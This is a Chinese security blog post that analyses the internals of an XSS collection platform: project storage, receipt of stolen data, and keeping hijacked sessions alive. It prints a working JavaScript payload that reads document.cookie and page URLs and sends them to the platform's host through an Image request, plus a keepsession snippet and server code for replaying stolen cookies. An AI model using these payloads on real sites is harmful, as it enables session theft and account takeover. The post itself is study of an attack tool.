好奇驅使我對XSS平台的一次小研究

好奇驅使我對XSS平台的一次小研究

來自專欄 226safe Team

本文作者:226safe Team - Poacher

226團隊交流群:673441920

前言

這一段時間博客一直木有時間和東西產出,所以趁著這個小短假研究了一下XSS平台的運行原理是怎麼樣的。

該博文大概是這麼一個流程:創建-》接收返回數據-》存儲返回數據-》如何維持會話有效期

正文

創建

首先看下平台從創建項目的流程開始進行分析。

首先創建一個默認模塊項目的話,那麼它是如何存入至資料庫的呢?

我們來看看代碼

$id=Val(id,POST,1); //接收項目id $ty=Val(ty,POST); //獲取類型,如:創建 $db=DBConnect(); $project=$db->FirstRow("SELECT * FROM ".Tb(project)." WHERE id={$id} AND userId=".$user->userId.""); if(empty($project)) ShowError(項目不存在或沒有許可權); //查詢創建是否存在及所屬者 //模塊 $modules=Val(modules,POST,1,1); //接收模塊id $code=Val(code,POST); //接收自定義代碼內容 $values=array( code=>$code ); if(!empty($modules)){ $values[modules]=JsonEncode($modules); //將接收的模塊id轉為json後放入values數組內 $moduleSetKeys=array(); //配置的參數 foreach($modules as $mId){ $module=$db->FirstRow("SELECT * FROM ".Tb(module)." WHERE id={$mId}");//查詢這個模塊的信息 if(!empty($module) && !empty($module[setkeys])){ $mSetKeys=(array)json_decode($module[setkeys],true); //獲取這個模塊的配置參數在專程數組格式 foreach($mSetKeys as $setkey){ $setkeyK="setkey_{$mId}_{$setkey}";//這裡在處理要接收的參數名 $setkeyV=Val($setkeyK,POST); //開始接收 if(!empty($setkeyV)) $moduleSetKeys["$setkeyK"]=urlencode($setkeyV);//如果有參數的話那麼就塞入moduleSetKeys數組內。 } } } $values[moduleSetKeys]=JsonEncode($moduleSetKeys);//最後在專程json放入values數組裡 }

看到資料庫,可以看到 modules 存放的為模塊 idmoduleSetKeys 存放的則是配置參數,如果沒有選擇參數的話則為空。

這個就是創建完項目後,項目的簡略的存儲情況。

接收存儲返回數據

接下來就繼續來看下,平台是如何接收到 cookie 並且返回存儲至資料庫的。

我們可以關注到項目代碼這一塊地方。

主要的獲取cookie操作就在於這段js代碼裡面,隨後在將數據發送至某個控制器中進行處理。

我們插入的短地址指向的內容其實就是這一串JS代碼。最後訪問即直接調用的這串JS代碼。

首先是創建一個 Image對象,隨後定義Image對象的src。請求的URL就是xss平台的URL,可以這樣理解。這裡是對xss平台URL進行一次請求,而這個URL是怎麼樣的呢。

(function(){ (new Image()).src=http://192.168.31.220/xss_platform//index.php?do=api&id=nK91eT&location=+escape((function(){ try{ return document.location.href }catch(e){ return } }) ())+&toplocation=+escape((function(){ try{ return top.location.href }catch(e){ return } }) ())+&cookie=+escape((function(){ try{ return document.cookie }catch(e){ return } }) ())+&opener=+escape((function(){ try{ return (window.opener && window.opener.location.href)?window.opener.location.href: }catch(e){ return } })()); })();

可以看到其實都是一些基礎的js代碼,比如:document.location.hreftop.location.hrefdocument.cookie等,最後拼接成的一個URL,然後對URL進行請求。

最後請求的URL會變成:

http://192.168.31.220/xss_platform//index.php?do=api&id=dUqQim&location=http%3A//192.168.31.220/xss_platform/&toplocation=http%3A//192.168.31.220/xss_platform/&cookie=cookie信息&opener=

隨後就會到 api 這個控制器里對 idlocationtoplocationcookieopener 這些參數進行接收並且處理。

對數據格式進行處理之後,將數據存儲至 project_content這張表中。

keepsession 是選中狀態的時候,那麼以下代碼就會觸發。先是觸發到 api 控制器,隨後會在請求一次URL,觸發的為 keepsession 控制器,用於維持會話。

if(1==1){ keep=new Image(); keep.src=http://192.168.31.220/xss_platform//index.php?do=keepsession&id=nK91eT&url=+escape(document.location)+&cookie=+escape(document.cookie) };

代碼如下:

$urlKey=Val(id,GET); $url=Val(url,GET); $cookie=Val(cookie,GET); $db=DBConnect(); $project=$db->FirstRow("SELECT * FROM ".Tb(project)." WHERE urlKey={$urlKey}"); if(!empty($project) && !empty($url) && !empty($cookie)){ $hash=md5($url.$cookie); $existed=$db->FirstValue("SELECT COUNT(*) FROM ".Tb(keepsession)." WHERE hash={$hash}"); if($existed<=0){ //判斷用戶key session的請求數量 $sum=$db->FirstValue("SELECT COUNT(*) FROM ".Tb(keepsession)." WHERE userId={$project[userId]}"); if($sum<10){ $sqlValues=array( projectId=>$project[id], userId=>$project[userId], url=>$url, cookie=>$cookie, hash=>$hash, addTime=>time(), updateTime=>time() ); $db->AutoExecute(Tb(keepsession),$sqlValues); } } }

可以看到,經過邏輯判斷之後呢,最後可以看到是將項目id用戶idurlcookiehashaddTimeupdateTime存儲至了 keepsession 表中的。

整個接收及存儲的流程就是這樣。

維持會話有效期

在打到cookie,可能有的時候沒有來得及查看,等到反應過來再去查看的時候會話就已經過期了。那麼 keepsession 到底是怎麼樣實現的呢。

看了下代碼發現很簡單,平台會自動的隔一段時間,遍歷整個 keepsession 表裡面的數據。隨後循環對目標伺服器進行一次帶cookie的請求。這樣就實現了維持會話的功能了。

PS:文章木有什麼技術含量,好奇驅使我對該平台的一次小學習,結果發現跟想像中的一致,但是良好的習慣驅使我將這次學習記錄下來。


推薦閱讀:

網路安全 | 腳本小子學習攻略
[漏洞復現] MS17-010 基於"永恆之藍"實現Windows Getshell
php菜刀的研究一
[漏洞復現] CVE-2017-7494 隱藏7年之久的Linux版"永恆之藍"出現了...

TAG:XSS | 滲透測試 | 代碼分析 |